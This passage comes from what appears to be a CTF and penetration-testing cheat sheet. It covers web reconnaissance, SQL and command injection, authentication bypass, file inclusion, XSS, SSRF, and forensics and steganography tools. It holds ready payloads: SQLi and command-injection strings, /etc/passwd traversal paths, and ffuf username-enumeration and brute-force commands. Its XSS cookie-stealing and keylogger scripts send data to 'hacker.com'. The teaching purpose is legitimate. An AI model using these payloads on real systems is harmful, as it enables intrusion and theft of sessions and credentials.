framework using on of the methods, Framework Stacking can be used afterwards where you check the framework documentation for potential admin portals etc. ### Automated **What is Automated Discovery?** Automated discovery is the process of using tools to discover content rather than doing it manually. This process is automated as it usually contains hundreds, thousands or even millions of requests to a web server. These requests check whether a file or directory exists on a website, giving us access to resources we didn't previously know existed. This process is made possible by using a resource called wordlists. **What are wordlists?** Wordlists are just text files that contain a long list of commonly used words; they can cover many different use cases. For example, a password wordlist would include the most frequently used passwords, whereas we're looking for content in our case, so we'd require a list containing the most commonly used directory and file names. **Most common Automation tools** `ffuf`, `dirb` and `gobuster`. I personally use gobuster the most. ### OSINT **Google Hacking / Dorking** Google hacking / Dorking utilizes Google's advanced search engine features, which allow you to pick out custom content. | Filter | Example | Description | |---|---|---| | site | site:berkankutuk.dk | returns results only from the specified website address | | inurl | inurl:admin | returns results that have the specified word in the URL | | filetype | filetype:pdf | returns results which are a particular file extension | | intitle | intitle:admin | returns results that contain the specified word in the title | Find many more operators [here](https://ahrefs.com/blog/google-advanced-search-operators/). **Wappalyzer** Wappalyzer is an online tool and browser extension that helps identify what technologies a website uses, such as frameworks, Content Management Systems (CMS), payment processors and much more, and it can even find version numbers as well. Read more [here](https://www.wappalyzer.com/). **Wayback Machine** The Wayback Machine is a historical archive of websites that dates back to the late 90s. You can search a domain name, and it will show you all the times the service scraped the web page and saved the contents. This service can help uncover old pages that may still be active on the current website. Find the website [here](https://archive.org/web/). **Email Harvesting** Email harvesting is the process of gathering email addresses from a website. This can be done manually by searching for email addresses in the source code of a website, or by using a tools such as [Hunter.io](https://hunter.io/) and [Phonebook](https://phonebook.cz/). In order to verify the email addresses, you can use [EmailHippo](https://tools.emailhippo.com/). ### Subdomain enumeration **SSL/TLS Certificates** When an SSL/TLS (Secure Sockets Layer/Transport Layer Security) certificate is created for a domain by a CA (Certificate Authority), CA's take part in what's called "Certificate Transparency (CT) logs". These are publicly accessible logs of every SSL/TLS certificate created for a domain name. The following site consists of a searchable database of certificates that shows current and historical results. [Link](crt.sh) **Search Engines** The following search would only contain results from subdomain names belonging to domain.com: `-site:www.domain.com site:*.domain.com` **DNS Bruteforce** Bruteforce DNS (Domain Name System) enumeration is the method of trying tens, hundreds, thousands or even millions of different possible subdomains from a pre-defined list of commonly used subdomains. For this method, the tool [DNSrecon](https://www.kali.org/tools/dnsrecon/), [Sublist3r](https://github.com/aboul3la/Sublist3r) or [Turbolist3r](https://github.com/fleetcaptain/Turbolist3r) can be used. A more modern but slower alternative is [Amass](https://github.com/owasp-amass/amass). It is usually also a good idea to probe for HTTP and HTTPS services on the discovered subdomains to filter out any false positives. This can be done with the tool [httprobe](https://github.com/tomnomnom/httprobe). **Virtual Hosts** Some subdomains aren't always hosted in publically accessible DNS results, such as development versions of a web application or administration portals. Instead, the DNS record could be kept on a private DNS server or recorded on the developer's machines in their /etc/hosts file (or c:\windows\system32\drivers\etc\hosts file for Windows users) which maps domain names to IP addresses. Because web servers can host multiple websites from one server when a website is requested from a client, the server knows which website the client wants from the Host header. We can utilise this host header by making changes to it and monitoring the response to see if we've discovered a new website. Bruteforce by using the following command: `ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: {domain}" -u http://{IP} -fs {size}` ### Cookie Manipulation 1. Check for JWT tokens at [JWT.io](https://jwt.io/) 2. Flask cookies can be unsigned by using the following tool [flask-unsign](https://pypi.org/project/flask-unsign/) 3. Flask cookies can be decoded/encoded using the following tool: [Flask Session Cookie Decoder/Encoder](https://github.com/noraj/flask-session-cookie-manager). See example usage [here](https://github.com/Berkanktk/CTFWriteups/tree/master/PicoCTF/Web%20Exploitation/MostCookies) ## SQL Injection SQL (Structured Query Language) Injection occurs when user controlled input is passed to SQL queries without validation/sanitization. As a result, an attacker can pass in SQL queries to manipulate the outcome of such queries. If an attacker is able to successfully pass input that is interpreted correctly, they would be able to do the following: * Access, Modify and Delete information in a database when this input is passed into database queries. This would mean that an attacker can steal sensitive information such as personal details and credentials. * Execute Arbitrary system commands on a server that would allow an attacker to gain access to users’ systems. This would enable them to steal sensitive data and carry out more attacks against infrastructure linked to the server on which the command is executed. ### SQL Injection Types **In-band SQLi (Classic SQLi)** In-band SQLi is the most common and easy-to-exploit of SQL injection attacks. In-band SQLi attacks rely on the fact that the same communication channel is used for both the attack and the result. There are two types of in-band SQLi attacks: * **Error-based SQLi** - This type of SQL injection relies on error messages thrown by the database server to obtain information about the structure of the database. This information can then be used to formulate more attacks. * **Union-based SQLi** - This type of SQL injection relies on using the UNION SQL operator to combine the results of two or more SELECT statements into a single result which is then returned as part of the HTTP response. **Inferential SQLi (Blind SQLi)** Inferential SQLi is also known as blind SQL injection. As the name suggests, the vulnerability itself is not directly present in the application but can be inferred from the behaviour of the application. There are two types of inferential SQLi attacks being: * **Boolean-based SQLi** - This type of SQL injection relies on sending SQL queries to the database which evaluate to either TRUE or FALSE. Depending on the result, the content within the HTTP response will change, or remain the same. * **Time-based SQLi** - This type of SQL injection relies on sending SQL queries to the database which cause a time delay in the response. The time delay is used to infer if the result of the query is TRUE or FALSE. See much more database and SQLi related information [here](/More/Databases/). ### Tool for SQL Injection [sqlmap](https://sqlmap.org/) is a tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. See how to use it [here](#SQLMap). ### Examples of SQL Injection * `' OR 1=1 --` * `1' OR 1=1 --` * `1' OR 1=1#` * `1' OR 1=1--` * `1' OR 1=1;--` ## Command Injection Command injection is the abuse of an application's behaviour to execute commands on the operating system, using the same privileges that the application on a device is running with. A command injection vulnerability is also known as a "Remote Code Execution" (RCE) because an attacker can trick the application into executing a series of payloads that they provide, without direct access to the machine itself (i.e. an interactive shell). The webserver will process this code and execute it under the privileges and access controls of the user who is running that application. ### Discovering Command Injection This vulnerability exists because applications often use functions in programming languages such as PHP, Python and NodeJS to pass data to and to make system calls on the machine’s operating system. For example, taking input from a field and searching for an entry into a file. Example of a vulnerable code in PHP: ```php <?php $file = $_GET['file']; $command = "cat $file"; system($command); ?> ``` Example of a vulnerable code in Python (Flask): ```python @app.route('/search') def search(): query = request.args.get('query') command = "grep -r " + query + " /var/www/html" output = subprocess.check_output(command, shell=True) return output ``` Command Injection can be detected in mostly one of two ways: | Method | Description | |:---:|---| | Blind | This type of injection is where there is no direct output from the application when testing payloads. You will have to investigate the behaviours of the application to determine whether or not your payload was successful. | | Verbose | This type of injection is where there is direct feedback from the application once you have tested a payload. For example, running the `whoami` command to see what user the application is running under. The web application will output the username on the page directly. | #### Detecting Blind Command Injection For this type of command injection, we will need to use payloads that will cause some time delay. For example, the `ping` and `sleep` commands are significant payloads to test with. Using `ping` as an example, the application will hang for x seconds in relation to how many pings you have specified. Another method of detecting blind command injection is by forcing some output. This can be done by using redirection operators such as `>`. For example, we can tell the web application to execute commands such as whoami and redirect that to a file. We can then use a command such as cat to read this newly created file’s contents. The curl command is a great way to test for command injection. This is because you are able to use curl to deliver data to and from an application in your payload. Take this code snippet below as an example, a simple curl payload to an application is possible for command injection. `curl http://vulnerable.app/process.php%3Fsearch%3DThe%20Beatles%3B%20whoami` #### Detecting Verbose Command Injection Detecting command injection this way is arguably the easiest method of the two. Verbose command injection is when the application gives you feedback or output as to what is happening or being executed. For example, the output of commands such as `ping` or `whoami` is directly displayed on the web application. ### Exploiting Command Injection Applications that use user input to populate system commands with data can often be combined in unintended behaviour. For example, the shell operators `;`, `&` and `&&` will combine two (or more) system commands and execute them bot Useful payloads for command injection (linux): | Payload | Description | |:---:|:---:| | whoami | See what user the application is running under. | | ls | List the contents of the current directory. You may be able to find files such as configuration files, environment files (tokens and application keys), and many more valuable things. | | ping | This command will invoke the application to hang. This will be useful in testing an application for blind command injection. | | sleep | This is another useful payload in testing an application for blind command injection, where the machine does not have ping installed. | | nc | Netcat can be used to spawn a reverse shell onto the vulnerable application. You can use this foothold to navigate around the target machine for other services, files, or potential means of escalating privileges. | Useful payloads for command injection (windows): | Payload | Description | |:---:|:---:| | whoami | See what user the application is running under. | | dir | List the contents of the current directory. You may be able to find files such as configuration files, environment files (tokens and application keys), and many more valuable things. | | ping | This command will invoke the application to hang. This will be useful in testing an application for blind command injection. | | timeout | This command will also invoke the application to hang. It is also useful for testing an application for blind command injection if the ping command is not installed. | Commands that quickly can be tested: ```bash whoami | whoami ; whoami ' whoami ' || whoami ' & whoami ' && whoami '; whoami " whoami " || whoami " | whoami " & whoami " && whoami "; whoami $(`whoami`) & whoami && whoami ``` See [this](https://github.com/payloadbox/command-injection-payload-list) cheatsheet for more. ### Remediating Command Injection Command injection can be prevented in a variety of ways. Everything from minimal use of potentially dangerous functions or libraries in a programming language to filtering input without relying on a user’s input. #### Vulnerable functions In PHP, many functions interact with the operating system to execute commands via shell; these include: * Exec * Passthru * System Snippet for a code that only accept and process numbers between 0-9 as input: ```php <input type="text" id="ping" name="ping" pattern="[0-9]+"</input> <?php echo passthru("/bin/ping -c 4 "$_GET["ping"]"); ?> ``` #### Input sanitisation Sanitising any input from a user that an application uses is a great way to prevent command injection. This is a process of specifying the formats or types of data that a user can submit. For example, an input field that only accepts numerical data or removes any special characters such as `>`, `&` and `/`. ```php <?php if (!filter_input (INPUT_GET, "number", FILTER_VALIDATE_NUMBER)) { ... } ... ``` Read more about the function filter_input() [here](https://www.php.net/manual/en/function.filter-input.php). #### Bypassing filters Applications will employ numerous techniques in filtering and sanitising data that is taken from a user's input. These filters will restrict you to specific payloads; however, we can abuse the logic behind an application to bypass these filters. For example, an application may strip out quotation marks; we can instead use the hexadecimal value of this to achieve the same result. When executed, although the data given will be in a different format than what is expected, it can still be interpreted and will have the same result. ```php $payload = "\x2f|\x65 \x74 \x63\x2f\x70\x61 \x73 \x73 \x77\x64" ``` ## Directory Traversal `TO BE ADDED` ## Authentication Bypass These vulnerabilities can be some of the most critical as it often ends in leaks of customers personal data. ### Username Enumeration A helpful exercise to complete when trying to find authentication vulnerabilities is creating a list of valid usernames. Website error messages are great resources for collating this information to build our list of valid usernames. If you try entering the username admin and fill in the other form fields with fake information, you'll see we get the error An account with this username already exists. We can use the existence of this error message to produce a list of valid usernames already signed up on the system by using the ffuf tool below. The ffuf tool uses a list of commonly used usernames to check against for any matches. `berkankutuk@kali:~$ ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u <website_url> -mr "username already exists"` In the above example, the `-w` argument selects the file's location on the computer that contains the list of usernames that we're going to check exists. The `-X` argument specifies the request method, this will be a GET request by default, but it is a POST request in our example. The `-d` argument specifies the data that we are going to send. In our example, we have the fields username, email, password and cpassword. We've set the value of the username to FUZZ. In the ffuf tool, the FUZZ keyword signifies where the contents from our wordlist will be inserted in the request. The `-H` argument is used for adding additional headers to the request. In this instance, we're setting the Content-Type to the webserver knows we are sending form data. The `-u` argument specifies the URL we are making the request to, and finally, the -mr argument is the text on the page we are looking for to validate we've found a valid username. ### Brute Force A brute force attack is an automated process that tries a list of commonly used passwords against either a single username or, like in our case, a list of usernames. After a successful username enumeration, the usernames can now be used to bruteforce. When running this command, make sure the terminal is in the same directory as the valid_usernames.txt file. `berkankutuk@kali:~$ ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u <website_url> -fc 200` Previously we used the FUZZ keyword to select where in the request the data from the wordlists would be inserted, but because we're using multiple wordlists, we have to specify our own FUZZ keyword. In this instance, we've chosen `W1` for our list of valid usernames and `W2` for the list of passwords we will try. The multiple wordlists are again specified with the `-w` argument but separated with a comma. For a positive match, we're using the `-fc` argument to check for an HTTP status code other than 200. ### Logic Flaw Sometimes authentication processes contain logic flaws. A logic flaw is when the typical logical path of an application is either bypassed, circumvented or manipulated by a hacker. This can be seen here: ```php if( url.substr(0,6) === '/admin') { # Code to check user is an admin } else { # View Page } ``` Because the above PHP code example uses three equals signs (===), it's looking for an exact match on the string, including the same letter casing. The code presents a logic flaw because an unauthenticated user requesting /adMin will not have their privileges checked and have the page displayed to them, totally bypassing the authentication checks. **Example:** A login process: that goes like step 1, 2, 3, 4 but the hacker make it go like 1, 4 which grants the hacker access to another users account. **Case:** Reset another users password and get the link for the reset process to your account. The design flaw here is that you can send a reset password request to support by passing a users name, and then entering your own email to get the link. This can be done by the following command: `curl '<url>/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&[email protected]'` ### Cookie Tampering Examining and editing the cookies set by the web server during your online session can have multiple outcomes, such as unauthenticated access, access to another user's account, or elevated privileges The contents of some cookies can be in plain text, and it is obvious what they do. Take, for example, if these were the cookie set after a successful login: ``` Set-Cookie: logged_in=true; Max-Age=3600; Path=/ Set-Cookie: admin=false; Max-Age=3600; Path=/ ``` Using this logic, if we were to change the contents of the cookies and make a request we'll be able to change our privileges. For this, curl can be used by using: `curl -H "Cookie: logged_in=true; admin=true" <ip_address>/cookie-test` **Hashed cookies** Sometimes cookie values can look like a long string of random characters; these are called hashes which are an irreversible representation of the original text. Here are some examples that you may come across: | Original String | Hash Method | Output | |:---:|:---:|:---:| | 1 | md5 | c4ca4238a0b923820dcc509a6f75849b | | 1 | sha-256 | 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b | | 1 | sha-512 | 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a | | 1 | sha1 | 356a192b7913b04c54574d18c28d46e6395428ab | You can see from the above table that the hash output from the same input string can significantly differ depending on the hash method in use. Even though the hash is irreversible, the same output is produced every time **Encoded cookies** Encoding is similar to hashing in that it creates what would seem to be a random string of text, but in fact, the encoding is reversible Take the below data as an example which is set by the web server upon logging in: `Set-Cookie: session=eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ==; Max-Age=3600; Path=/` This string base64 decoded has the value of `{"id":1,"admin": false}` we can then encode this back to base64 encoded again but instead setting the admin value to true, which now gives us admin access. ## Insecure Direct Object Reference Insecure Direct Object Reference(IDOR) is a type of access control vulnerability. This type of vulnerability can occur when a web server receives user-supplied input to retrieve objects (files, data, documents), too much trust has been placed on the input data, and it is not validated on the server-side to confirm the requested object belongs to the user requesting it. **An example of this:** Imagine you've just signed up for an online service, and you want to change your profile information. The link you click on goes to `http://shop.berkankutuk.dk/profile?user_id=1337`, and you can see your information. Curiosity gets the better of you, and you try changing the user_id value to 420 instead (`http://shop.berkankutuk.dk/profile?user_id=420`), and to your surprise, you can now see another user's information. You've now discovered an IDOR vulnerability! ## File Inclusion In some scenarios, web applications are written to request access to files on a given system, including images, static text, and so on via parameters. Parameters are query parameter strings attached to the URL that could be used to retrieve data or perform actions based on user input. The following graph explains and breaking down the essential parts of the URL. ![LFI](Images/LFI.png) For example, if a user wants to access and display their CV within the web application, the request may look as follows, `http://webapp.thm/get.php?file=userCV.pdf`, where the `file` is the parameter and the `userCV.pdf`, is the required file to access. ![LFI CV](Images/LFI-CV.png) File inclusion vulnerabilities are commonly found and exploited in various programming languages for web applications, such as PHP that are poorly written and implemented. The main issue of these vulnerabilities is the input validation, in which the user inputs are not sanitized or validated, and the user controls them. When the input is not validated, the user can pass any input to the function, causing the vulnerability. If the attacker somehow can write to the server such as `/tmp` directory, then it is possible to gain remote command execution RCE. However, it won't be effective if file inclusion vulnerability is found with no access to sensitive data and no writing ability to the server. Also known as Directory traversal, a web security vulnerability allows an attacker to read operating system resources, such as local files on the server running an application. The attacker exploits this vulnerability by manipulating and abusing the web application's URL to locate and access files or directories stored outside the application's root directory. An example of this can be seen by running this command on a website with this vulnerability: `http://webapp.thm/get.php?file=../../../../etc/passwd` The result would look like this: ![LFI Path](Images/LFI-Path.png) Similarly, if the web application runs on a Windows server, the attacker needs to provide Windows paths You can find a list of common OS files [here](More/Vulnerabilities/OS-Files/Readme.md) Most of the time in CTF's the path you are looking for would be: `../../../../etc/passwd` ### NULL BYTE trick If a path is placing `.php` at the end of your search, then this tells us that the developer specifies the file type to pass to the include function. To bypass this scenario, we can use the NULL BYTE, which is `%00`. Using null bytes is an injection technique where URL-encoded representation such as `%00` or `0x00` in hex with user-supplied data to terminate strings. You could think of it as trying to trick the web app into disregarding whatever comes after the Null Byte.: `/etc/passwd%00` **NOTE**: the `%00` trick is fixed and not working with PHP 5.3.4 and above. ### Current Directory trick Though this can be filtered by the developer. But we can also bypass that by trying the "current directory" trick which looks something like this: `/etc/passwd/.` ### Subset string trick If the developer uses input validation by filtering some keywords, ex. "../", we can bypass this by using: `....//....//....//....//....//etc/passwd` This works because the PHP filter only matches and replaces the first subset string `../` it finds and doesn't do another pass, leaving: `../../../../etc/passwd` ### Including the Directory trick If the developer forces you to include a directory, you can bypass this by writing the directory and then moving up from there. Ex. if the forced directory is 'language': `languages/../../../../../etc/passwd` ### Remote File Inclusion - RFI Remote File Inclusion (RFI) is a technique to include remote files and into a vulnerable application. Like LFI, the RFI occurs when improperly sanitizing user input, allowing an attacker to inject an external URL into `include` function. One requirement for RFI is that `the allow_url_fopen` option needs to be `on`. The risk of RFI is higher than LFI since RFI vulnerabilities allow an attacker to gain Remote Command Execution (RCE) on the server. Other consequences of a successful RFI attack include: * Sensitive Information Disclosure * Cross-site Scripting (XSS) * Denial of Service (DoS) An external server must communicate with the application server for a successful RFI attack where the attacker hosts malicious files on their server. Then the malicious file is injected into the include function via HTTP requests, and the content of the malicious file executes on the vulnerable application server. ![RFI](Images/RFI.png) **How to** 1. Create a file somewhere on your local computer. ex "cmd.txt" 2. Open the file and write some code inside it 3. Now create a webserver using python by running: `python3 http.server <port>` in the same path of the file. 4. Now open the browser and enter the http address where you want the attack to direct. This could look like this: `http://10.10.135.181:9001/cmd.txt` ### Remediation As a developer, it's important to be aware of web application vulnerabilities, how to find them, and prevention methods. To prevent the file inclusion vulnerabilities, some common suggestions include: 1. Keep system and services, including web application frameworks, updated with the latest version. 2. Turn off PHP errors to avoid leaking the path of the application and other potentially revealing information. 3. A Web Application Firewall (WAF) is a good option to help mitigate web application attacks. 4. Disable some PHP features that cause file inclusion vulnerabilities if your web app doesn't need them, such as allow_url_fopen on and allow_url_include. 5. Carefully analyze the web application and allow only protocols and PHP wrappers that are in need. 6. Never trust user input, and make sure to implement proper input validation against file inclusion. 7. Implement whitelisting for file names and locations as well as blacklisting. ### PHP Filters PHP filters are used to validate and sanitize external input. The filter extension provides a way to validate and sanitize external inputs. The filter extension is not enabled by default, so you need to enable it in the php.ini file. Filters can be used by using `php://filter`. For example, to base64 encode a file, you can use: `php://filter/convert.base64-encode/resource=index.php` ## Cross Site Request Forgery (CSRF) `TO BE ADDED` ## Cross Site Scripting (XSS) Cross-Site Scripting, better known as XSS in the cybersecurity community, is classified as an injection attack where malicious JavaScript gets injected into a web application with the intention of being executed by other users Cross-site scripting vulnerabilities are extremely common ### DOM-Based XSS DOM stands for Document Object Model and is a programming interface for HTML and XML documents. It represents the page so that programs can change the document structure, style and content. A web page is a document, and this document can be either displayed in the browser window or as the HTML source This is when an attack payload is executed by manipulating the DOM (Document Object Model) in the target's browser. This type uses the client-side code instead of server-side code. **Exploiting the DOM** DOM Based XSS is where the JavaScript execution happens directly in the browser without any new pages being loaded or data submitted to backend code. Execution occurs when the website JavaScript code acts on input or user interaction. **Example Scenario:** The website's JavaScript gets the contents from the `window.location.hash` parameter and then writes that onto the page in the currently being viewed section. The contents of the hash aren't checked for malicious code, allowing an attacker to inject JavaScript of their choosing onto the webpage. **Potential Impact:** Crafted links could be sent to potential victims, redirecting them to another website or steal content from the page or the user's session. **How to test for Dom Based XSS:** DOM Based XSS can be challenging to test for and requires a certain amount of knowledge of JavaScript to read the source code. You'd need to look for parts of the code that access certain variables that an attacker can have control over, such as "`window.location.x`" parameters. When you've found those bits of code, you'd then need to see how they are handled and whether the values are ever written to the web page's DOM or passed to unsafe JavaScript methods such as eval() ### Reflected XSS This is when a malicious script bounces off another website onto the target's web application or website. Normally, these are passed in the URL as a query, and it's easy as making the target click a link. This type originates from the target's request. Or in other words, reflected XSS happens when user-supplied data in an HTTP request is included in the webpage source without any validation. **Example Scenario:** A website where if you enter incorrect input, an error message is displayed. The content of the error message gets taken from the error parameter in the query string and is built directly into the page source. **How to test for Reflected XSS** You'll need to test every possible point of entry; these include: * Parameters in the URL Query String * URL File Path * Sometimes HTTP Headers (although unlikely exploitable in practice) A small test to see if a reflected XSS is possible is to enter a single quote (`'`) into the input field and see if the page breaks or shows an error message. If it does, then it's likely exploitable. Another way to test for reflected XSS is to enter the following payload into the input field: ```html "><script>alert("exploitable")</script> ``` If the page shows an alert box saying "exploitable", then it's likely exploitable. ### Stored XSS As the name infers, the XSS payload is stored on the web application (in a database, for example) and then gets run when other users visit the site or web page. **Example Scenario:** A blog website that allows users to post comments. Unfortunately, these comments aren't checked for whether they contain JavaScript or filter out any malicious code. If we now post a comment containing JavaScript, this will be stored in the database, and every other user now visiting the article will have the JavaScript run in their browser. **How to test for Stored XSS:** You'll need to test every possible point of entry where it seems data is stored and then shown back in areas that other users have access to; a small example of these could be: * Comments on a blog * User profile information * Website Listings ### Blind XSS Blind XSS is similar to a stored XSS (which we covered in task 4) in that your payload gets stored on the website for another user to view, but in this instance, you can't see the payload working or be able to test it against yourself first. **Example Scenario:** A website has a contact form where you can message a member of staff. The message content doesn't get checked for any malicious code, which allows the attacker to enter anything they wish. These messages then get turned into support tickets which staff view on a private web portal. **Potential Impact:** Using the correct payload, the attacker's JavaScript could make calls back to an attacker's website, revealing the staff portal URL, the staff member's cookies, and even the contents of the portal page that is being viewed. Now the attacker could potentially hijack the staff member's session and have access to the private portal. **How to test for Blind XSS:** When testing for Blind XSS vulnerabilities, you need to ensure your payload has a call back (usually an HTTP request). This way, you know if and when your code is being executed. A popular tool for Blind XSS attacks is [xsshunter](https://xsshunter.com). Although it's possible to make your own tool in JavaScript, this tool will automatically capture cookies, URLs, page contents and more. ### Payload In XSS, the payload is the JavaScript code we wish to be executed on the targets computer. There are two parts to the payload, the intention and the modification. The intention is what you wish the JavaScript to actually do, and the modification is the changes to the code we need to make it execute as every scenario is different. ### Some examples of XSS intentions. **Proof Of Concept:** This is the simplest of payloads where all you want to do is demonstrate that you can achieve XSS on a website. This is often done by causing an alert box to pop up on the page with a string of text, for example: ```html <script>alert('XSS');</script> ``` **Session Stealing:** Details of a user's session, such as login tokens, are often kept in cookies on the targets machine. The below JavaScript takes the target's cookie, base64 encodes the cookie to ensure successful transmission and then posts it to a website under the hacker's control to be logged. Once the hacker has these cookies, they can take over the target's session and be logged as that user. ```html <script>fetch('https://hacker.com/steal?cookie=' + btoa(document.cookie));</script> ``` **Key Logger:** The below code acts as a key logger. This means anything you type on the webpage will be forwarded to a website under the hacker's control. This could be very damaging if the website the payload was installed on accepted user logins or credit card details. ```html <script>document.onkeypress = function(e) { fetch('https://hacker.com/log?key=' + btoa(e.key) );}</script> ``` **Business Logic:** This payload is a lot more specific than the above examples. This would be about calling a particular network resource or a JavaScript function. For example, imagine a JavaScript function for changing the user's email address called user.changeEmail(). Your payload could look like this: ```html <script>user.changeEmail('[email protected]');</script> ``` ### A command to rule them all (Polyglots) An XSS polyglot is a string of text which can escape attributes, tags and bypass filters all in one. This command will print "BERKAN_WAS_HERE" on the screen. ``` jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('BERKAN_WAS_HERE') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('BERKAN_WAS_HERE')//>\x3e ``` ## Server Side Request Forgery (SSRF) SSRF stands for Server-Side Request Forgery. It's a vulnerability that allows a malicious user to cause the webserver to make an additional or edited HTTP request to the resource of the attacker's choosing. There are two types of SSRF vulnerability; the first is a regular SSRF where data is returned to the attacker's screen. The second is a Blind SSRF vulnerability where an SSRF occurs, but no information is returned to the attacker's screen. **What's the impact?** A successful SSRF attack can result in any of the following: * Access to unauthorised areas. * Access to customer/organisational data. * Ability to Scale to internal networks. * Reveal authentication tokens/credentials. ### Finding an SSRF * When a full URL is used in a parameter in the address bar: * `https://berkankutuk.dk/form?server=http://server.website.com/store` * A hidden field in a form: ```html <form ...> <input type = "hidden" name="server" value="=http://server.website.com/store"> ... ``` * A partial URL such as just the hostname: * `https://berkankutuk.dk/form?server=api` * Or perhaps only the path of the URL: * `https://berkankutuk.dk/form?dst=/forms/contact` ### Attack **Vulnerable site:** `http://berkankutuk.dk/users?url=....` Directory traversal can also be used on some cases, and so can the `&x=` to stop the remaining path from being appended. ### Defeating Common SSRF Defenses 1. Deny list 1. A specific endpoint to restrict access is the localhost, which may contain server performance data or further sensitive information, so domain names such as localhost and 127.0.0.1 would appear on a deny list. 2. Attackers can bypass a Deny List by using alternative localhost references such as 0, 0.0.0.0, 0000, 127.1, 127.*.*.*, 2130706433, 017700000001 or subdomains that have a DNS record which resolves to the IP Address 127.0.0.1 such as 127.0.0.1.nip.io. 2. Allow list 1. An URL used in a parameter must begin with `https://website.com`. 2. An attacker could quickly circumvent this rule by creating a subdomain on an attacker's domain name, such as `https://website.com.attackers-domain.com`. The application logic would now allow this input and let an attacker control the internal HTTP request. 3. Open Redirect 1. An open redirect is an endpoint on the server where the website visitor gets automatically redirected to another website address. 2. But imagine there was a potential SSRF vulnerability with stringent rules which only allowed URLs beginning with `https://website.com/`. An attacker could utilise the above feature to redirect the internal HTTP request to a domain of the attacker's choice. This IP address may contain sensitive data in a cloud environment: `169.254.169.254` ## Server Side Includes Server Side Includes (SSI) is a simple interpreted server-side scripting language used almost exclusively for the Web. It is most useful for including the contents of one or more files into a web page on a web server, using its #include directive. ### Finding an SSI * `<!--#exec cmd="ls" -->` * `<!--#echo var="DATE_LOCAL" -->` * `<!--#exec cmd="cat /etc/passwd" -->` # Forensics Is simply 'the art of uncovering' Digital forensics is a branch of forensic science that focuses on identifying, acquiring, processing, analysing, and reporting on data stored electronically. Use case * Find hidden information in files or meta data * Recover lost or deleted data * Reconstruct corrupted files * Recognize file structures and identify file formats * Understand a course of events from network logs or memory dumps * Hash cracking ## File analysis ### Encodings * **Decimal:** 70 111 114 101 110 115 105 99 115 33 * **Hex:** 46 6f 72 65 6e 73 69 63 73 21 * **Octal:** 106 157 162 145 156 163 151 143 163 41 * **ASCII:** Forensics! * **Base64:** Rm9yZW5zaWNzIQ== * **Base85:** 7W3<YDKBN%F!1 ### File type The file type is often indicated by the file extension in the file name, e.g. .png, .mp4 * Typically what the OS uses to assess how to open / interpret the file * Do not rely on extensions! Can be modified to trick the OS into misinterpreting data The file type is indicated in the contents of the file with a file signature - a magic number * Hex string at a specific offset * Eg PNG files: 89 50 4e 47 (last three hex is PNG in ASCII) * Tool: `file` **pngcheck** A command-line tool for "checking" a PNG image file. Especially good for verifying checksums. ### Metadata The file extension is one form of metadata: (data about data) Additional information about a file in addition to the content itself * General: File name, extension, size, time of origin, permissions * Specific: GPS data in images, number of frames in GIF, CPU architecture in executables, etc. Why analyze metadata? * Can store important info - maybe even info that should have been hidden * In some cases even more important than content - eg with encrypted HTTPS traffic * Tool: `exiftool` **PDF Analysis** We can try to read the metadata using the program `pdfinfo`. Pdfinfo displays various metadata related to a PDF file, such as title, subject, author, creator, and creation date. If you don’t have `pdfinfo` installed, you can install it using: `sudo apt install poppler-utils` If the PDF file is password protected, another tool named `pdfcrack` can be used with a wordlist in order to bruteforce the password. **Example:** `pdfcrack -q -w /usr/share/wordlists/rockyou.txt encrypted.pdf` **Geographical Coordinates** Longitude Latitude Can be written as: ``` 51 deg 30' 51.90" N, 0 deg 5' 38.73" W replaced deg with ° 51° 30' 51.90" N, 0° 5' 38.73" W or simply 51.514417, -0.094092 ``` ### File format A file type has a specific format - the structure of the file Typical structure * Signature file - magic number Header - typical info to be used to understand the content (metadata) * Possibly meta data * Data * Trailer that completes the file The format is precisely defined in a specification doc - often publicly available * Corrupted files: compare file with specification, correct differences with hex editor * Unknown file types: search for tracks from a file format ## PCAP Analysis `TO BE ADDED` ## Steganography Steganography is the practice of hiding a secret message in something that is not secret, for example: A message inside a jpg file, or a binary inside a png. **File Carving** File carving: extract files based on the file format * Look for file signatures, headers, trailers, etc. * Originally used in connection with. extraction of files from disk images and memory dumps * Useful for extracting files stored in other files in stego challenges File carving tools: * binwalk * foremost * dd (manual extraction) * dd if = input.png or = output.txt bs = 1 skip = 1000 count = 32 **Tools** `Steghide` = JPEG(primarily), BMP, WAV and AU `Zsteg` = PNG(primarily), BMP ### Stegsnow stegsnow is a program for concealing messages in text files by appending tabs and spaces (whitespace) on the end of lines, and for extracting messages from files containing hidden messages. **Useful commands:** `stegsnow -C -m <message> -p <password> <inputfile> <outputfile>` compress a message in a text file and save it to a new file `stegsnow -C -p <password> <inputfile> <outputfile>` uncompress a message in a text file and save it to a new file ### Steghide Steghide is a steganography program that hides data in various kinds of image and audio files, only supports these file formats : JPEG, BMP, WAV and AU. But it’s also useful for extracting embedded and encrypted data from other files. One of the greatest benefits of stegohide, is that it can encrypt data with a passphrase Install steghide with `sudo apt install steghide` **Useful commands:** `steghide info <filepath>` displays info about whether a file has embedded data or not. `steghide extract -sf <filepath>` extracts embedded data from a stegofile `steghide embed -cf <filepath> -ef <textfile>` embed data from a coverfile to a embedfile ### Stegsolve Sometimes there is a message or a text hidden in the image itself and in order to view it you need to apply some color filters or play with the color levels. You can do it with GIMP or Photoshop or any other image editing software but stegsolve made it easier. It’s a small java tool that applies many color filters on images. **Installation** ```bash wget http://www.caesum.com/handbook/Stegsolve.jar -O stegsolve.jar chmod +x stegsolve.jar ``` And then run it with ```bash java -jar 